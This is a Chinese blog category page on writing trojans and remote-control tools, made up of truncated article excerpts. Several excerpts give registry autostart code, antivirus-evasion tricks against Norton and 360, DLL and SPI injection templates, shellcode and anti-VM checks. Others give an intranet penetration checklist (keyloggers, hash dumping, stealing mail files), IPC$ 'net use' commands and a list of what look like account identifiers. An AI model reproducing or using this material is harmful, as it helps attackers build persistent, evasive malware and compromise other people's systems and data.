
木马编写
文章平均质量分 50
冷风
网络安全编程,远程控制编写
展开
-
detours2.1 VC6中编译方法及源代码及使用例子及编译好的BIN
detours2.1 VC6中编译方法及源代码及使用例子及编译好的BIN下载地址http://download.youkuaiyun.com/detail/chinafe/4424305http://download.youkuaiyun.com/detail/chinafe/44243051.在纯VC6环境中新建 win32 static library 项目名设为detours2.把detours2.1 scr目录中原创 2012-07-12 10:56:16 · 2440 阅读 · 0 评论 -
利用ZipArchive库进行压缩和解压文件
最近需要修改以前做的一个下载程序,主要是增加压缩和解压的功能,以减少网络带宽的消耗.去论坛咨询了一下网友,于是借助开源库ZipArchive来实现我要的功能。初步看了一下ZipArchive文档,简单地封装了一下压缩和解压功能.代码如下:/** CompressZipFile: 压缩文件* lpszFile: 需要压缩的文件* lpszZipFile: 要压缩到的目标文件* bAppend转载 2013-03-13 10:25:03 · 4821 阅读 · 0 评论 -
注册表 load 启动
直接调用写注册表进行启动,启动方式为 LOAD ,封装好了两个函数可以直接调用啦。没怎么加容错处理。代码洁癖症愈发严重。int exist_startup()//写记号 标记有没有设置过启动项{ HKEY key; if(RegOpenKey(HKEY_CURRENT_USER,_T("software\\XXZH"),&key) == ERROR_SUCCESS){ RegClose原创 2013-03-29 16:52:46 · 2365 阅读 · 0 评论 -
诺顿(Norton)免杀账号
诺顿(Norton)这个东西做免杀,并不困难,如果是改代码免杀,很轻松,如果不改代码的情况下免杀也是可以的。原理简单说一下,诺顿(Norton)会判断文件的使用数量,信任程度,创建时间。围绕这几点可以做很多工作,具体工具自己考虑下啦。121121606,1085241217,478735202,gotoc,lengfeng54.yahoo原创 2013-03-23 11:33:47 · 2436 阅读 · 0 评论 -
HTTP 隧道通讯库 HTTPTunnel
HTTPTunnel 是一个 C++ 开发用于在两台机器之间进行 HTTP 隧道通讯的类库。HTTP隧道是一种在HTTP协议层上进行Socket通讯的机制。主页:http://the-linux-academy.co.uk/downloads.htm下载:http://the-linux-academy.co.uk/downloads/httptunnel-1.3.2.tgz原创 2013-04-10 14:46:57 · 1552 阅读 · 0 评论 -
把文件读到内存,日,每次都出问题。
void ReadFile(char* str){HANDLE pfile;pfile = ::CreateFile(str,GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL|FILE_FLAG_DELETE_ON_CLOSE,NULL); // 用这个函数比OpenFile好if ( pfile == INVALID_HAN原创 2013-03-27 14:30:23 · 1145 阅读 · 0 评论 -
木马后门常用到的API
用来分析木马后的功能,简单整理如下:1.服务管理OpenSCManagerOpenServiceEnumServicesStatusQueryServiceConfigControlService2.屏幕管理CreateDCGetDeviceCapsCreateCompatibleBitmapCreateCompatibleDCOpenWindowStationOpenDesktop3.命令控制C原创 2013-06-04 09:35:00 · 3455 阅读 · 0 评论 -
内网渗透思路
内网渗透思路1. 加固,感染系统盘之外的EXE文件保护目标。2. 上键盘记录和USB插件3. 记录目标杀软。4. 抓取HASH。5. 获取目标网络环境,工作组还是域环境。6. 搜索主机是否有网络管理软件5. 搜索主机中所有docxls ppt等关键文件,并下载。6. 对方是否使用outlook,下载PST文件并抓取密码。7. 查看对方是否连接过338原创 2013-07-09 18:23:30 · 2429 阅读 · 0 评论 -
高级语言程序转换SHELLCODE时编码注意
使用VC写的DLL通过内存加载类,转成SHELLCODE,发现一个诡异的问题,程序直接运行操作与下载无任何问题,下载10G数据也不会出错。但转成SHELLCODE后,诡异的问题,就出现了,不确定时间地点,出错。经过3个多小时,每句代码排查,找出问题原因,使用了如下代码:UINT ProcFileEnumWillDown(TCHAR * str_path)//枚举要下载的文件夹{ CListDi原创 2013-03-23 18:23:34 · 4761 阅读 · 1 评论 -
我是如何诱骗你的-高级钓鱼技术一文中提到的MSF中的马和源代码
外出过滤我们有两种方式来绕过外出过滤:reverse_https或者reverse_tcp_all_ports。不了解reverse_tcp_all_ports?它实际上是一个实现反向TCP管理并监控“所有端口”的模块。事实上它只监听一个端口,我们需要把所有端口重定向到它监控的端口。这就需要用到iptables或者其他的软件来实现。使用iptables举例,该命令将所有端口重定向到443端口(该端原创 2013-09-30 13:11:26 · 2152 阅读 · 0 评论 -
远程控制文件管理目录传输路径分割分离
在远程控制中文件管理是很重要的,下面简单讨论并实现目录传输。首先要考虑目录传输方式,速度,效率,一个好的设计应该是这样首先把用户要枚举的目录搜索出来,并整合成一个大的字符串,比如用户搜索了C盘那么应该把所有目录整理成一个大串并一次通过SOCKET发送到CLIENT然后再分离,分解,分割。并在相应的LIST或者TREE上显示我曾通过VECTOR向量方式来实现目录管理,但是VECTOR中每一项的数据并原创 2013-03-11 12:40:48 · 1790 阅读 · 0 评论 -
一些 DOS 命令
一些 DOS 命令参考:net use file://ip/ipc$ " " /user:" " 建立IPC空链接net use file://ip/ipc$ "密码" /user:"用户名" 建立IPC非空链接net use h: file://ip/c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:net use h: file://ip/c$ 登陆后映射对方C:到本地原创 2013-03-07 12:00:49 · 910 阅读 · 0 评论 -
hook WSARecv要注意的问题
如果直接在hook的函数中直接调用原始地址的话完全没有问题:int WSAAPI hooked_WSARecv_ws232(SOCKET s,LPWSABUF lpBuffers,DWORD dwBufferCount,LPDWORD lpNumberOfBytesRecvd,LPDWORD lpFlags,LPWSAOVERLAPPED lpOverlapped,LPWSAOVERLAPPED_转载 2012-07-27 20:29:20 · 6922 阅读 · 1 评论 -
SPI 注入最基本的模板,可直接安装运行
http://download.youkuaiyun.com/detail/chinafe/4453932SPI注入需要两部分内容1.安装SPI服务2.编写一个导出wspstartup的DLL这里是一个 空的模板,都可以正常运行,测试环境为windwos xp,win7,win2003http://download.youkuaiyun.com/detail/chinafe/4453932原创 2012-07-26 09:02:13 · 3367 阅读 · 2 评论 -
网络爬虫中高效率的URL索引
在爬虫工作过程中,需要把爬过的URL做成索引,之后每次分析到新的URL时与爬过的URL匹配一般可以使用字符串匹配,但如果有几十万,上百万数据时呢?匹配过程会非常缓慢,这时可以使用这个算法,用哈希对URL计算一个值,然后存在一个足够大的数组中而哈希值对应该数组的索引,在新的URL匹配时,对URL进行哈希计算,计算的值 为数组的索引这样每次匹配速度会极快,下面是代码的实现#include #incl原创 2012-08-01 09:37:20 · 3585 阅读 · 0 评论 -
windows下的网络爬虫遇到的问题
在抓取网络数据时使用函数会出问题IHTMLElement的get_outerHTML内存泄露用到IHTMLElement的方法get_outerHTML()。侦测到内存泄露现象 if(spHtmlElement != 0) {BSTR bstr;// Better to declare BSTR bstr = NULL;spHtmlElement->get_outerHTML(&bstr);m_s原创 2012-07-31 19:11:24 · 1436 阅读 · 0 评论 -
严格的内网中通过curl来探测目标是否支持http协议
有一个内网环境,有WEBSHELL,基本封闭了所有的网络协议,为了实现控制,想到是否可以通过HTTP协议来进制控制,为了验证这一点,可以自己用C或者Python等等来一个 访问WEB的小程序但使用curl更方便,它本身就是利用HTTP协议来实现,通过以下命令可以探测curl -o curl.html www.xxxxx.com/index.html意思为用 curl 模仿浏览器 下载指定域名或者I原创 2012-11-05 11:45:02 · 1477 阅读 · 0 评论 -
js获取客户端计算机硬件信息与系统信息
var info = allinfo();document.write(info);var locator = new ActiveXObject ("WbemScripting.SWbemLocator"); var service = locator.ConnectServer(".");info = pcInfo();document.write(info);//获取浏览器原创 2012-11-17 17:56:55 · 49105 阅读 · 7 评论 -
teensy HID编程
HID人机交互编程接口最近研究teensy相关资料暂记于此以备查阅。《Programmable HID USB Keystroke Dongle: Using the Teensy as a pen testing device》原创 2012-11-17 13:49:10 · 1765 阅读 · 0 评论 -
将UDT编译成静态LIB库
将UDT编译成静态LIB库UDT目前版本为udt.sdk.4.10,在vc2008中可以直接编译出例子,和udt.dll如果感觉带着DLL比如麻烦或者不适合(比如写个马)那么可以把udt编译成静态LIB的方式方法如下 以vc2008为例子说明首先设置编译环境其次修改udt.h的代码如下编译 后的udt.lib可以直接取代dll的方式,编译后的程序也不再需要udt.dll了,感谢moonlight原创 2013-01-16 16:32:35 · 4250 阅读 · 0 评论 -
搜索目录文件夹的类
有时要搜索一个指定目录中的文件夹从自己的一个文件管理类中整理出来的完整代码如下#include #include #include struct MyFileStruct { TCHAR szFileName[MAX_PATH/2]; TCHAR szFilePath[MAX_PATH]; TCHAR szTime[MAX_PATH/2]; TCHAR szFileS原创 2013-03-05 14:20:28 · 1029 阅读 · 0 评论 -
HttpTunnel解读和防御
解读http tunnel源码的总体框架, 并提出可能的防御措施 HttpTunnel解读和防御本文档的Copyleft归yfydz所有,使用GPL发布,可以自由拷贝、转载,转载时请保持文档的完整性,严禁用于任何商业用途。msn: yfydz_no1@hotmail.com来源:http://yfydz.cublog.cn1. 简介httptunnel是通过HTTP通道来传输其他协议数据的转载 2013-10-18 10:42:59 · 1944 阅读 · 0 评论 -
luajit使用手册
luajit使用手册第一步 下载LUAJIT http://luajit.org/download.html第二步 打开Microsoft Visual Studio 2008中的Visual Studio Tools中的Visual Studio 2008 命令提示cd进入 luajit目录的src目录第三步执行 dir *.bat找出编译用的BAT文件,找到msvcbuild.bat并打开,搜原创 2013-10-18 14:54:41 · 10947 阅读 · 1 评论 -
Messagebox Shellcode (113 bytes) - Any Windows Version
/*User32-free Messagebox Shellcode for any Windows version======================================================== Title: User32-free Messagebox Shellcode for any Windows versionRelease date:转载 2013-10-18 14:25:59 · 2985 阅读 · 0 评论 -
VC++检测VM、VPC虚拟机代码
C++检测VM、VPC虚拟机代码,添加后只需要调用IsVirtualMachine即可判断是否在虚拟机运行!AntiVM.h#ifndef __DETECT_VM__02222005__ #define __DETECT_VM__02222005__ bool IsVirtualMachine(); bool IsInsideVPC(); bool IsInsideVMWar转载 2014-02-14 10:35:02 · 5478 阅读 · 1 评论 -
动态定位API的shellcode
动态定位API的shellcode前面的HOOK IAT RING3>>文章中使用到了shellcode,那么这个shellcode是怎么制造出来的呢,本文将为你一步一步的解惑这个shellcode的主要功能是调用MessageBoxA弹出一个空的对话框,注意此时的地址空间是在别的进程,由于不同的操作系统会影响动态链接库的加载地址,而且不同版本的dll中函数的偏移量RVA也不尽相同,因此写一个通用转载 2014-03-27 17:35:54 · 2926 阅读 · 0 评论 -
YT88加密狗
H:\E\share\加密狗\YT88\外壳加密程序\外壳加密10(推荐)目录中有一个外壳加密工具80.exe原创 2014-05-04 14:56:55 · 5143 阅读 · 2 评论 -
winxp、win2003、win7、win8通用的shellcode
此代码在vc6下直接编译,提取shellcode时进行debug模式,打开内存窗口,复制出二进制代码,整理成shellcode就可以了原创 2014-06-16 15:58:49 · 6853 阅读 · 0 评论 -
绕过360安全卫士的部分代码
利用快捷方式,由用户启动程序,进行绕过360原创 2014-09-22 16:26:00 · 7695 阅读 · 1 评论 -
免杀-加密前4k程序
#include "stdafx.h"#includevoid Decrypt4k(TCHAR *str){ HANDLE hFile = CreateFile(str, GENERIC_READ|GENERIC_WRITE , 0, NULL,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile==NULL||hFile=原创 2014-09-28 14:37:11 · 3433 阅读 · 0 评论 -
取带runas的一些优秀小工具介绍
2、使用 sanur,sanur 是一个小程序,能以管道的方法将密码或者文件中的内容传递给 runas 程序。runas | sanur passwordrunas | sanur /i [drive:][path]filename特点:密码明文保存。----------------------------------About SanurSanur is a tiny Win32 console转载 2014-10-11 16:42:28 · 8818 阅读 · 0 评论 -
使用服务加载启动的dll模板代码
有时创建服务启动,服务的dll写法原创 2014-11-06 17:47:50 · 3869 阅读 · 0 评论 -
判断自己的父进程是不是由explorer启动
直接把代码放上。#include "stdafx.h"#include #include #include DWORD get_parent_processid(DWORD pid)//获取指定进程的父进程ID{ DWORD ParentProcessID=-1; PROCESSENTRY32 pe; HANDLE hkz; HMODULE hModule = LoadL原创 2014-01-20 15:22:16 · 5090 阅读 · 3 评论 -
UDPUDP发现一个BUG记录,后面修改
1.以经使用DTOOL安装过,并存在插件。2.使用SERVER重新上线后,执行功能后,会导致崩溃,UDT异常。原创 2014-01-13 13:59:32 · 1317 阅读 · 0 评论 -
http tunnel使用简介
http tunnel使用简介你可以更改登陆设置,我感觉只要是不被盗,那就是你登陆设置改错了 , 你在修改一下就可以了,如果不管,那可能就是你那个电脑上的QQ过多网络忙造成的关掉所有的QQ在上你的就可以了.. 不少公司的防火墙>作了较为严格的限制,以至于很多网络服务如QQ、MSN都无法运行,如果你还能够打开网页,那么,使用Http通道软件可以让你突破限制,可以在现有的网络条件中使用任何网络服务。转载 2013-10-18 11:02:18 · 3055 阅读 · 1 评论 -
SetUnhandledExceptionFilter函数学习
SetUnhandledExceptionFilter函数学习 首先看下百度上的对此函数的解释。设置异常捕获函数. 当异常没有处理的时候,系统就会调用SetUnhandledExceptionFilter所设置异常处理函数. 例如一些程序在出错的时候,会向用户报告说程序那出错就是利用这个.例如QQ.. 异常处理中的一部分 当发生异常时,比如内存访问违例时,CPU硬件会发现此问题,转载 2013-11-18 11:58:41 · 11212 阅读 · 0 评论 -
ZIP BOMB
1.OPEN GOOGLE ENGLISH SEARCH ZIP BOMB2.http://en.wikipedia.org/wiki/Zip_bomb3.http://www.unforgettable.dk/Password: 42原创 2013-11-04 15:59:13 · 3422 阅读 · 0 评论 -
远程控制加密流程
生成器部分 生成器中获取用户输入的KEY,在捆绑各个文件时使用KEY进行加密,其中INI配置文件不用加密,或者使用固定密钥加密。 安装程序部分 安装程序先从自身读取INI文件从里面读到KEY并保存到注册表,然后释放出各个文件,每个文件使用KEY进行解密,其中SERVER.DB不用解密,因为SERVER.DB的解密放到DLL劫持中实现。 DLL劫持部分 DLL被加载后,会从注册表中,读取KEY,使用原创 2013-11-21 11:22:39 · 2644 阅读 · 0 评论 -
dll中启动shellcode卸载自身dll模块
DLL被加载启动后,可以新起一个线程,在线程中申请进程空间,用来运行SHELLCODE,而自己的线程中可以调用 FreeLibraryAndExitThread(g_hDll, 0); 来卸载自己的DLL模块,这样可以实现,无模块运行。原创 2013-11-07 13:45:00 · 1812 阅读 · 0 评论 -
VC屏幕截图并保存为bmp、jpg、png等格式文件
int main(){HDC hdcSrc = GetDC(NULL);int nBitPerPixel = GetDeviceCaps(hdcSrc, BITSPIXEL);int nWidth = GetDeviceCaps(hdcSrc, HORZRES);int nHeight = GetDeviceCaps(hdcSrc, VERTRES);CImage image;image.Crea转载 2013-11-25 10:41:14 · 7553 阅读 · 0 评论